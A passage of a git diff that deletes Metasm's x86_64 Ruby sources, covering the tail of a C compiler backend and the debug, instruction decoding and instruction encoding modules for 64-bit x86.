!= 1 - l.modrm.i = l.modrm.b - l.modrm.s = rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm - end - unuse r - return l - elsif l.modrm.i and not l.modrm.b and l.modrm.s*rr <= 8 - l.modrm.s *= rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm and rr != 1 - unuse r - return l - end - end - end - end - l = make_volatile(l, expr.type) if l.kind_of? Address - r ||= c_cexpr_inner(expr.rexpr) - c_cexpr_inner_arith(l, expr.op, r, expr.type) - l - when :'=' - r = c_cexpr_inner(expr.rexpr) - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue ' + l.inspect if not l.kind_of? ModRM and not @state.bound.index(l) - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, expr.type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - if expr.type.integral? or expr.type.pointer? - if r.kind_of? Address - m = r.modrm.dup - m.sz = l.sz - instr 'lea', l, m - else - if l.kind_of? ModRM and r.kind_of? Reg and l.sz != r.sz - raise if l.sz > r.sz - if l.sz == 8 and r.val >= 4 - reg = ([0, 1, 2, 3] - @state.used).first - if not reg - rax = Reg.new(0, r.sz) - instr 'push', rax - instr 'mov', rax, r - instr 'mov', l, Reg.new(rax.val, 8) - instr 'pop', rax - else - flushcachereg(reg) - instr 'mov', Reg.new(reg, r.sz), r - instr 'mov', l, Reg.new(reg, 8) - end - else - instr 'mov', l, Reg.new(r.val, l.sz) - end - else - instr 'mov', l, r - end - end - elsif expr.type.float? - raise 'float unhandled' - end - l - when :>, :<, :>=, :<=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) - r = c_cexpr_inner(expr.rexpr) - unuse r - if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - instr 'cmp', l, i_to_i32(r) - elsif expr.lexpr.type.float? - raise 'float unhandled' - else raise 'bad comparison ' + expr.to_s - end - opcc = getcc(expr.op, expr.type) - instr 'set'+opcc, Reg.new(l.val, 8) - instr 'and', l, 1 - l - else - raise 'unhandled cexpr ' + expr.to_s - end - end - - # compiles a subroutine call - def c_cexpr_inner_funcall(expr) - backup = [] - rax = Reg.new(0, 64) - - ft = expr.lexpr.type - ft = ft.pointed if ft.pointer? - ft = nil if not ft.kind_of? C::Function - - arglist = expr.rexpr.dup - regargsmask = @state.regargs.dup - if ft - ft.args.each_with_index { |a, i| - if rn = a.has_attribute_var('register') - regargsmask.insert(i, Reg.from_str(rn).val) - end - } - end - regargsmask = regargsmask[0, expr.rexpr.length] - - (@state.abi_flushregs_call | regargsmask.compact.uniq).each { |reg| - next if reg == 4 - next if reg == 5 and @state.saved_rbp - if not @state.used.include? reg - if not @state.abi_trashregs.include? reg - @state.dirty |= [reg] - end - next - end - backup << reg - instr 'push', Reg.new(reg, 64) - @state.used.delete reg - } - - stackargs = expr.rexpr.zip(regargsmask).map { |a, r| a if not r }.compact - - # preserve 16byte stack align under windows - stackalign = true if (stackargs + backup).length & 1 == 1 - instr 'push', rax if stackalign - - stackargs.reverse_each { |arg| - raise 'arg unhandled' if not arg.type.integral? or arg.type.pointer? - a = c_cexpr_inner(arg) - a = resolve_address a if a.kind_of? Address - a = make_volatile(a, arg.type) if a.kind_of? ModRM and arg.type.name != :__int64 - unuse a - instr 'push', a - } - - regargs_unuse = [] - regargsmask.zip(expr.rexpr).each { |ra, arg| - next if not arg or not ra - a = c_cexpr_inner(arg) - a = resolve_address a if a.kind_of? Address - r = Reg.new(ra, a.respond_to?(:sz) ? a.sz : 64) - instr 'mov', r, a if not a.kind_of? Reg or a.val != r.val - unuse a - regargs_unuse << r if not @state.inuse.include? ra - inuse r - } - instr 'sub', Reg.new(4, 64), Expression[@state.args_space] if @state.args_space > 0 # TODO prealloc that at func start - - if ft.kind_of? C::Function and ft.varargs and @state.args_space == 0 - # gcc stores here the nr of xmm args passed, real args are passed the standard way - # TODO check visualstudio/ms ABI - instr 'xor', rax, rax - inuse rax - end - - - if expr.lexpr.kind_of? C::Variable and expr.lexpr.type.kind_of? C::Function - instr 'call', Expression[expr.lexpr.name] - else - ptr = c_cexpr_inner(expr.lexpr) - unuse ptr - ptr = make_volatile(ptr, expr.lexpr.type) if ptr.kind_of? Address - instr 'call', ptr - end - regargs_unuse.each { |r| unuse r } - argsz = @state.args_space + stackargs.length * 8 - argsz += 8 if stackalign - instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 - - @state.abi_flushregs_call.each { |reg| flushcachereg reg } - @state.used |= backup - if @state.used.include?(0) - retreg = inuse findreg - else - retreg = inuse getreg(0) - end - backup.reverse_each { |reg| - if retreg.kind_of? Reg and reg == 0 - instr 'pop', Reg.new(retreg.val, 64) - instr 'xchg', Reg.new(reg, 64), Reg.new(retreg.val, 64) - else - instr 'pop', Reg.new(reg, 64) - end - } - retreg - end - - # compiles/optimizes arithmetic operations - def c_cexpr_inner_arith(l, op, r, type) - # optimizes *2 -> <<1 - if r.kind_of? Expression and (rr = r.reduce).kind_of? ::Integer - if type.integral? or type.pointer? - log2 = lambda { |v| - # TODO lol - i = 0 - i += 1 while (1 << i) < v - i if (1 << i) == v - } - if (lr = log2[rr]).kind_of? ::Integer - case op - when :*; return c_cexpr_inner_arith(l, :<<, Expression[lr], type) - when :/; return c_cexpr_inner_arith(l, :>>, Expression[lr], type) - when :%; return c_cexpr_inner_arith(l, :&, Expression[rr-1], type) - end - else - # TODO /r => *(r^(-1)), *3 => stuff with magic constants.. - end - end - end - - if type.float? - raise 'float unhandled' - else - c_cexpr_inner_arith_int(l, op, r, type) - end - end - - # compile an integral arithmetic expression, reg-sized - def c_cexpr_inner_arith_int(l, op, r, type) - op = case op - when :+; 'add' - when :-; 'sub' - when :&; 'and' - when :|; 'or' - when :^; 'xor' - when :>>; type.specifier == :unsigned ? 'shr' : 'sar' - when :<<; 'shl' - when :*; 'mul' - when :/; 'div' - when :%; 'mod' - end - - case op - when 'add', 'sub', 'and', 'or', 'xor' - r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - instr op, l, i_to_i32(r) - when 'shr', 'sar', 'shl' - if r.kind_of? Expression - instr op, l, r - else - # XXX bouh - r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) - unuse r - if r.val != 1 - rcx = Reg.new(1, 64) - instr 'xchg', rcx, Reg.new(r.val, 64) - l = Reg.new(r.val, l.sz) if l.kind_of? Reg and l.val == 1 - end - instr op, l, Reg.new(1, 8) - instr 'xchg', rcx, Reg.new(r.val, 64) if r.val != 1 - end - when 'mul' - if l.kind_of? ModRM - if r.kind_of? Expression - ll = findreg - instr 'imul', ll, l, r - else - ll = make_volatile(l, type) - unuse ll - instr 'imul', ll, r - end - instr 'mov', l, ll - else - instr 'imul', l, r - end - unuse r - when 'div', 'mod' - lv = l.val if l.kind_of? Reg - rax = Reg.from_str 'rax' - rdx = Reg.from_str 'rdx' - if @state.used.include? rax.val and lv != rax.val - instr 'push', rax - saved_rax = true - end - if @state.used.include? rdx.val and lv != rdx.val - instr 'push', rdx - saved_rdx = true - end - - instr 'mov', rax, l if lv != rax.val - - if r.kind_of? Expression - instr 'push', r - rsp = Reg.from_str 'rsp' - r = ModRM.new(@cpusz, 64, nil, nil, rsp, nil) - need_pop = true - end - - if type.specifier == :unsigned - instr 'mov', rdx, Expression[0] - instr 'div', r - else - instr 'cdq' - instr 'idiv', r - end - unuse r - - instr 'add', rsp, 8 if need_pop - - if op == 'div' - instr 'mov', l, rax if lv != rax.val - else - instr 'mov', l, rdx if lv != rdx.val - end - - instr 'pop', rdx if saved_rdx - instr 'pop', rax if saved_rax - end - end - - def c_cexpr(expr) - case expr.op - when :+, :-, :*, :/, :&, :|, :^, :%, :[], nil, :'.', :'->', - :>, :<, :<=, :>=, :==, :'!=', :'!' - # skip no-ops - c_cexpr(expr.lexpr) if expr.lexpr.kind_of? C::CExpression - c_cexpr(expr.rexpr) if expr.rexpr.kind_of? C::CExpression - else unuse c_cexpr_inner(expr) - end - end - - def c_block_exit(block) - @state.cache.delete_if { |k, v| - case v - when C::Variable; block.symbol.index v - when Address; block.symbol.index v.target - end - } - block.symbol.each { |s| - unuse @state.bound.delete(s) - } - end - - def c_decl(var) - if var.type.kind_of? C::Array and - var.type.length.kind_of? C::CExpression - reg = c_cexpr_inner(var.type.length) - unuse reg - instr 'sub', Reg.new(4, @cpusz), reg - # TODO - end - end - - def c_ifgoto(expr, target) - case o = expr.op - when :<, :>, :<=, :>=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM - if l.kind_of? Expression - o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o - l, r = r, l - end - unuse l, r - if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - r = Reg.new(r.val, l.sz) if r.kind_of? Reg and r.sz != l.sz # XXX - instr 'cmp', l, i_to_i32(r) - elsif expr.lexpr.type.float? - raise 'float unhandled' - else raise 'bad comparison ' + expr.to_s - end - op = 'j' + getcc(o, expr.lexpr.type) - instr op, Expression[target] - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - unuse r - instr 'test', r, r - instr 'jz', Expression[target] - else - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - instr 'test', r, r - instr 'jnz', Expression[target] - end - end - - def c_goto(target) - instr 'jmp', Expression[target] - end - - def c_label(name) - @state.cache.clear - @source << '' << Label.new(name) - end - - def c_return(expr) - return if not expr - @state.cache.delete_if { |r, v| r.kind_of? Reg and r.val == 0 and expr != v } - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - instr 'mov', Reg.new(0, r.sz), r if r.val != 0 - end - - def c_asm(stmt) - if stmt.output or stmt.input or stmt.clobber - raise # TODO (handle %%0 => rax, gas, etc) - else - raise 'asm refering variables unhandled' if @state.func.initializer.symbol.keys.find { |sym| stmt.body =~ /\b#{Regexp.escape(sym)}\b/ } - @source << stmt.body - end - end - - def c_init_state(func) - @state = State.new(func) - args = func.type.args.dup - if @parser.lexer.definition['__MS_X86_64_ABI__'] - @state.args_space = 32 - @state.regargs = [1, 2, 8, 9] - else - @state.args_space = 0 - @state.regargs = [7, 6, 2, 1, 8, 9] - end - c_reserve_stack(func.initializer) - off = @state.offset.values.max.to_i - off = 0 if off < 0 - - argoff = 2*8 + @state.args_space - rlist = @state.regargs.dup - args.each { |a| - if a.has_attribute_var('register') - off = c_reserve_stack_var(a, off) - @state.offset[a] = off - elsif r = rlist.shift - if @state.args_space > 0 - # use reserved space to spill regargs - off = -16-8*@state.regargs.index(r) - else - off = c_reserve_stack_var(a, off) - end - @state.offset[a] = off - else - @state.offset[a] = -argoff - argoff = (argoff + sizeof(a) + 7) / 8 * 8 - end - } - if not @state.offset.values.grep(::Integer).empty? - @state.saved_rbp = Reg.new(5, @cpusz) - @state.used << 5 - end - end - - def c_prolog - localspc = @state.offset.values.grep(::Integer).max - return if @state.func.attributes.to_a.include? 'naked' - @state.dirty -= @state.abi_trashregs - if localspc - localspc = (localspc + 7) / 8 * 8 - if @state.args_space > 0 and (localspc/8 + @state.dirty.length) & 1 == 1 - # ensure 16-o stack align on windows - localspc += 8 - end - ebp = @state.saved_rbp - esp = Reg.new(4, ebp.sz) - instr 'push', ebp - instr 'mov', ebp, esp - instr 'sub', esp, Expression[localspc] if localspc > 0 - - rlist = @state.regargs.dup - @state.func.type.args.each { |a| - if rn = a.has_attribute_var('register') - r = Reg.from_str(rn).val - elsif r = rlist.shift - else next - end - v = findvar(a) - instr 'mov', v, Reg.new(r, v.sz) - } - elsif @state.args_space > 0 and @state.dirty.length & 1 == 0 - instr 'sub', Reg.new(4, @cpusz), Expression[8] - end - @state.dirty.each { |reg| - instr 'push', Reg.new(reg, @cpusz) - } - end - - def c_epilog - return if @state.func.attributes.to_a.include? 'naked' - @state.dirty.reverse_each { |reg| - instr 'pop', Reg.new(reg, @cpusz) - } - if ebp = @state.saved_rbp - instr 'mov', Reg.new(4, ebp.sz), ebp - instr 'pop', ebp - elsif @state.args_space > 0 and @state.dirty.length & 1 == 0 - instr 'add', Reg.new(4, @cpusz), Expression[8] - end - instr 'ret' - end - - def c_program_epilog - end - - def check_reserved_name(var) - Reg.s_to_i[var.name] - end -end - - def new_ccompiler(parser, exe=ExeFormat.new) - exe.cpu = self if not exe.instance_variable_get('@cpu') - CCompiler.new(parser, exe) - end -end -end diff --git a/lib/metasm/metasm/x86_64/debug.rb b/lib/metasm/metasm/x86_64/debug.rb deleted file mode 100644 index 3559d91f70..0000000000 --- a/lib/metasm/metasm/x86_64/debug.rb +++ /dev/null @@ -1,59 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/x86_64/opcodes' - -module Metasm -class X86_64 - def dbg_register_pc - @dbg_register_pc ||= :rip - end - def dbg_register_flags - @dbg_register_flags ||= :rflags - end - - def dbg_register_list - @dbg_register_list ||= [:rax, :rbx, :rcx, :rdx, :rsi, :rdi, :rbp, :rsp, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15, :rip] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(64).update(:cs => 16, :ds => 16, :es => 16, :fs => 16, :gs => 16) - end - - def dbg_func_arg(dbg, argnr) - if dbg.class.name =~ /win/i - list = [:rcx, :rdx, :r8, :r9] - off = 0x20 - else - list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] - off = 0 - end - if r = list[argnr] - dbg.get_reg_value(r) - else - argnr -= list.length - dbg.memory_read_int(Expression[:esp, :+, off + 8 + 8*argnr]) - end - end - def dbg_func_arg_set(dbg, argnr, arg) - if dbg.class.name =~ /win/i - list = [] - off = 0x20 - else - list = [] - off = 0 - end - if r = list[argnr] - dbg.set_reg_value(r, arg) - else - argnr -= list.length - dbg.memory_write_int(Expression[:esp, :+, off + 8 + 8*argnr], arg) - end - end - - # what's left is inherited from Ia32 -end -end diff --git a/lib/metasm/metasm/x86_64/decode.rb b/lib/metasm/metasm/x86_64/decode.rb deleted file mode 100644 index 5e9032e72b..0000000000 --- a/lib/metasm/metasm/x86_64/decode.rb +++ /dev/null @@ -1,268 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/x86_64/opcodes' -require 'metasm/decode' - -module Metasm -class X86_64 - class ModRM - def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, pfx={}) - m = (byte >> 6) & 3 - rm = byte & 7 - - if m == 3 - rm |= 8 if pfx[:rex_b] - return regclass.new(rm, opsz) - end - - adsz ||= 64 - - # mod 0/1/2 m 4 => sib - # mod 0 m 5 => rip+imm - # sib: i 4 => no index, b 5 => no base - - s = i = b = imm = nil - if rm == 4 - sib = edata.get_byte.to_i - - ii = (sib >> 3) & 7 - ii |= 8 if pfx[:rex_x] - if ii != 4 - s = 1 << ((sib >> 6) & 3) - i = Reg.new(ii, adsz) - end - - bb = sib & 7 - if bb == 5 and m == 0 - m = 2 # :i32 follows - else - bb |= 8 if pfx[:rex_b] - b = Reg.new(bb, adsz) - end - elsif rm == 5 and m == 0 - b = Reg.new(16, adsz) - m = 2 # :i32 follows - else - rm |= 8 if pfx[:rex_b] - b = Reg.new(rm, adsz) - end - - case m - when 1; itype = :i8 - when 2; itype = :i32 - end - imm = Expression[edata.decode_imm(itype, endianness)] if itype - - if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x100_0000 - # probably a base address -> unsigned - imm = Expression[imm.reduce & ((1 << adsz) - 1)] - end - - new adsz, opsz, s, i, b, imm, seg - end - end - - def decode_prefix(instr, byte) - x = super(instr, byte) - if instr.prefix.delete :rex - # rex ignored if not last - instr.prefix.delete :rex_b - instr.prefix.delete :rex_x - instr.prefix.delete :rex_r - instr.prefix.delete :rex_w - end - if byte & 0xf0 == 0x40 - x = instr.prefix[:rex] = byte - instr.prefix[:rex_b] = 1 if byte & 1 > 0 - instr.prefix[:rex_x] = 1 if byte & 2 > 0 - instr.prefix[:rex_r] = 1 if byte & 4 > 0 - instr.prefix[:rex_w] = 1 if byte & 8 > 0 - end - x - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length - pfx = di.instruction.prefix || {} - - field_val = lambda { |f| - if fld = op.fields[f] - (bseq[fld[0]] >> fld[1]) & @fields_mask[f] - end - } - field_val_r = lambda { |f| - v = field_val[f] - v |= 8 if v and (op.fields[f][1] == 3 ? pfx[:rex_r] : pfx[:rex_b]) # gruick ? - v - } - - opsz = op.props[:argsz] || (pfx[:rex_w] ? 64 : (pfx[:opsz] ? 16 : (op.props[:auto64] ? 64 : 32))) - adsz = pfx[:adsz] ? 32 : 64 - mmxsz = (op.props[:xmmx] && pfx[:opsz]) ? 128 : 64 - - op.args.each { |a| - di.instruction.args << case a - when :reg; Reg.new field_val_r[a], opsz - when :eeec; CtrlReg.new field_val_r[a] - when :eeed; DbgReg.new field_val_r[a] - when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] - when :regmmx; SimdReg.new field_val_r[a], mmxsz - when :regxmm; SimdReg.new field_val_r[a], 128 - - when :farptr; Farptr.decode edata, @endianness, opsz - when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; Expression[edata.decode_imm(a, @endianness)] - when :i # 64bit constants are sign-extended from :i32 - type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym ) - v = edata.decode_imm(type, @endianness) - v &= 0xffff_ffff_ffff_ffff if opsz == 64 and op.props[:unsigned_imm] and v.kind_of? Integer - Expression[v] - - when :mrm_imm; ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx[:seg]) - when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg], Reg, pfx - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg, pfx - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg, pfx - - when :regfp; FpReg.new field_val[a] - when :imm_val1; Expression[1] - when :imm_val3; Expression[3] - when :reg_cl; Reg.new 1, 8 - when :reg_eax; Reg.new 0, opsz - when :reg_dx; Reg.new 2, 16 - when :regfp0; FpReg.new nil - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' - if op.name == 'movsxd' - di.instruction.args[1].sz = 32 - elsif opsz == 8 - di.instruction.args[1].sz = 8 - else - di.instruction.args[1].sz = 16 - end - if pfx[:rex_w] - di.instruction.args[0].sz = 64 - elsif pfx[:opsz] - di.instruction.args[0].sz = 16 - else - di.instruction.args[0].sz = 32 - end - end - - # sil => bh - di.instruction.args.each { |a| a.val += 12 if a.kind_of? Reg and a.sz == 8 and not pfx[:rex] and a.val >= 4 and a.val <= 8 } - - pfx.delete :seg - case pfx.delete(:rep) - when :nz - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repnz' - end - when :z - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repz' - end - end - - di - end - - def decode_instr_interpret(di, addr) - super(di, addr) - - # [rip + 42] => [rip - addr + foo] - if m = di.instruction.args.grep(ModRM).first and - ((m.b and m.b.val == 16) or (m.i and m.i.val == 16)) and - m.imm and m.imm.reduce.kind_of?(Integer) - m.imm = Expression[[:-, di.address + di.bin_length], :+, di.address+di.bin_length+m.imm.reduce] - end - - di - end - - def opsz(di) - if di and di.instruction.prefix and di.instruction.prefix[:rex_w]; 64 - elsif di and di.instruction.prefix and di.instruction.prefix[:opsz]; 16 - elsif di and di.opcode.props[:auto64]; 64 - else 32 - end - end - - def register_symbols - [:rax, :rcx, :rdx, :rbx, :rsp, :rbp, :rsi, :rdi, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15] - end - - # returns a DecodedFunction from a parsed C function prototype - def decode_c_function_prototype(cp, sym, orig=nil) - sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) - df = DecodedFunction.new - orig ||= Expression[sym.name] - - new_bt = lambda { |expr, rlen| - df.backtracked_for << BacktraceTrace.new(expr, orig, expr, rlen ? :r : :x, rlen) - } - - # return instr emulation - if sym.has_attribute 'noreturn' or sym.has_attribute '__noreturn__' - df.noreturn = true - else - new_bt[Indirection[:rsp, @size/8, orig], nil] - end - - # register dirty (MS standard ABI) - [:rax, :rcx, :rdx, :r8, :r9, :r10, :r11].each { |r| - df.backtrace_binding.update r => Expression::Unknown - } - - if cp.lexer.definition['__MS_X86_64_ABI__'] - reg_args = [:rcx, :rdx, :r8, :r9] - else - reg_args = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] - end - - al = cp.typesize[:ptr] - df.backtrace_binding[:rsp] = Expression[:rsp, :+, al] - - # scan args for function pointers - # TODO walk structs/unions.. - stackoff = al - sym.type.args.to_a.zip(reg_args).each { |a, r| - if not r - r = Indirection[[:rsp, :+, stackoff], al, orig] - stackoff += (cp.sizeof(a) + al - 1) / al * al - end - if a.type.untypedef.kind_of? C::Pointer - pt = a.type.untypedef.type.untypedef - if pt.kind_of? C::Function - new_bt[r, nil] - df.backtracked_for.last.detached = true - elsif pt.kind_of? C::Struct - new_bt[r, al] - else - new_bt[r, cp.sizeof(nil, pt)] - end - end - } - - df - end - - def backtrace_update_function_binding_check(dasm, faddr, f, b) - # TODO save regs according to ABI - end -end -end diff --git a/lib/metasm/metasm/x86_64/encode.rb b/lib/metasm/metasm/x86_64/encode.rb deleted file mode 100644 index ed77d7500d..0000000000 --- a/lib/metasm/metasm/x86_64/encode.rb +++ /dev/null @@ -1,264 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/x86_64/opcodes' -require 'metasm/encode' - -module Metasm -class X86_64 - class ModRM - def self.encode_reg(reg, mregval = 0) - v = reg.kind_of?(Reg) ? reg.val_enc : reg.val & 7 - 0xc0 | (mregval << 3) | v - end - - def encode(reg = 0, endianness = :little) - reg = reg.val if reg.kind_of? Ia32::Argument - - ret = EncodedData.new << (reg << 3) - - # add bits in the first octet of ret.data (1.9 compatibility layer) - or_bits = lambda { |v| # rape me - if ret.data[0].kind_of? Integer - ret.data[0] |= v - else - ret.data[0] = (ret.data[0].unpack('C').first | v).chr - end - } - - if not self.b and not self.i - # imm only, use sib - or_bits[4] - imm = self.imm || Expression[0] - [ret << ((4 << 3) | 5) << imm.encode(:i32, endianness)] - - elsif (self.b and self.b.val == 16) or (self.i and self.i.val == 16) # rip+imm (rip == addr of the octet after the current instr) - # should have been filtered by #parse, but just in case - raise "invalid rip addressing #{self}" if (self.i and self.b) or (self.s and self.s != 1) - or_bits[5] - imm = self.imm || Expression[0] - [ret << imm.encode(:i32, endianness)] - - elsif not self.b and self.s != 1 - # sib with no b - raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 # XXX 12 ? - or_bits[4] - s = {8=>3, 4=>2, 2=>1}[@s] - imm = self.imm || Expression[0] - fu = (s << 6) | (@i.val_enc << 3) | 5 - fu = fu.chr if s >= 2 # rb1.9 encoding fix - [ret << fu << imm.encode(:i32, endianness)] - else - imm = @imm.reduce if self.imm - imm = nil if imm == 0 - - if not self.i or (not self.b and self.s == 1) - # no sib byte (except for [esp]) - @s, @i, @b = nil, nil, @s if not self.b - or_bits[@b.val_enc] - ret << 0x24 if @b.val_enc == 4 # XXX val_enc ? - else - # sib - or_bits[4] - - @b, @i = @i, @b if @s == 1 and (@i.val_enc == 4 or @b.val_enc == 5) - - raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 - - s = {8=>3, 4=>2, 2=>1, 1=>0}[@s] - fu = (s << 6) | (@i.val_enc << 3) | @b.val_enc - fu = fu.chr if s >= 2 # rb1.9 encoding fix - ret << fu - end - - imm ||= 0 if @b.val_enc == 5 - if imm - case Expression.in_range?(imm, :i8) - when true - or_bits[1<<6] - [ret << Expression.encode_imm(imm, :i8, endianness)] - when false - or_bits[2<<6] - [ret << Expression.encode_imm(imm, :a32, endianness)] - when nil - rets = ret.dup - or_bits[1<<6] - ret << @imm.encode(:i8, endianness) - rets, ret = ret, rets # or_bits[] modifies ret directly - or_bits[2<<6] - ret << @imm.encode(:a32, endianness) - [ret, rets] - end - else - [ret] - end - end - end - end - - # returns all forms of the encoding of instruction i using opcode op - # program may be used to create a new label for relative jump/call - def encode_instr_op(program, i, op) - base = op.bin.dup - oi = op.args.zip(i.args) - set_field = lambda { |f, v| - fld = op.fields[f] - base[fld[0]] |= v << fld[1] - } - - # - # handle prefixes and bit fields - # - pfx = i.prefix.map { |k, v| - case k - when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] - when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO - end - }.compact.pack 'C*' - pfx << op.props[:needpfx] if op.props[:needpfx] - - rex_w = rex_r = rex_x = rex_b = nil - if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' - case i.args[0].sz - when 64; rex_w = 1 - when 32 - when 16; pfx << 0x66 - end - else - opsz = op.props[:argsz] || i.prefix[:sz] - oi.each { |oa, ia| - case oa - when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm - raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz - opsz = ia.sz - end - } - opsz ||= 64 if op.props[:auto64] - opsz = op.props[:opsz] if op.props[:opsz] # XXX ? - case opsz - when 64; rex_w = 1 if not op.props[:auto64] - when 32; raise EncodeError, "Incompatible arg size in #{i}" if op.props[:auto64] - when 16; pfx << 0x66 - end - end - opsz ||= @size - - # addrsize override / segment override / rex_bx - if mrm = i.args.grep(ModRM).first - mrm.encode(0, @endianness) if mrm.b or mrm.i # may reorder b/i, which must be correct for rex - rex_b = 1 if mrm.b and mrm.b.val_rex.to_i > 0 - rex_x = 1 if mrm.i and mrm.i.val_rex.to_i > 0 - pfx << 0x67 if (mrm.b and mrm.b.sz == 32) or (mrm.i and mrm.i.sz == 32) or op.props[:adsz] == 32 - pfx << [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][mrm.seg.val] if mrm.seg - elsif op.props[:adsz] == 32 - pfx << 0x67 - end - - - # - # encode embedded arguments - # - postponed = [] - oi.each { |oa, ia| - case oa - when :reg - set_field[oa, ia.val_enc] - if op.fields[:reg][1] == 3 - rex_r = ia.val_rex - else - rex_b = ia.val_rex - end - when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regxmm, :regmmx - set_field[oa, ia.val & 7] - rex_r = 1 if ia.val > 7 - pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 - when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 - # implicit - when :modrm, :modrmA, :modrmmmx, :modrmxmm - # postpone, but we must set rex now - case ia - when ModRM - ia.encode(0, @endianness) # could swap b/i - rex_x = ia.i.val_rex if ia.i - rex_b = ia.b.val_rex if ia.b - when Reg - rex_b = ia.val_rex - else - rex_b = ia.val >> 3 - end - postponed << [oa, ia] - else - postponed << [oa, ia] - end - } - - if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty? - # reg field of modrm - regval = (base[-1] >> 3) & 7 - base.pop - end - - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0, 3] != 'ret' and i.args.first.kind_of? Expression - postlabel = program.new_label('post'+op.name) - target = postponed.first[1] - target = target.rexpr if target.kind_of? Expression and target.op == :+ and not target.lexpr - postponed.first[1] = Expression[target, :-, postlabel] - end - - if rex_w == 1 or rex_r == 1 or rex_b == 1 or rex_x == 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 } - rex ||= 0x40 - rex |= 1 if rex_b.to_i > 0 - rex |= 2 if rex_x.to_i > 0 - rex |= 4 if rex_r.to_i > 0 - rex |= 8 if rex_w.to_i > 0 - end - pfx << rex if rex - ret = EncodedData.new(pfx + base.pack('C*')) - - postponed.each { |oa, ia| - case oa - when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym) - when :modrm, :modrmA, :modrmmmx, :modrmxmm - if ia.kind_of? ModRM - ed = ia.encode(regval, @endianness) - if ed.kind_of?(::Array) - if ed.length > 1 - # we know that no opcode can have more than 1 modrm - ary = [] - ed.each { |m| ary << (ret.dup << m) } - ret = ary - next - else - ed = ed.first - end - end - else - ed = ModRM.encode_reg(ia, regval) - end - when :mrm_imm; ed = ia.imm.encode("a#{op.props[:adsz] || 64}".to_sym, @endianness) - when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; ed = ia.encode(oa, @endianness) - when :i - type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym) - ed = ia.encode(type, @endianness) - else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" - end - - if 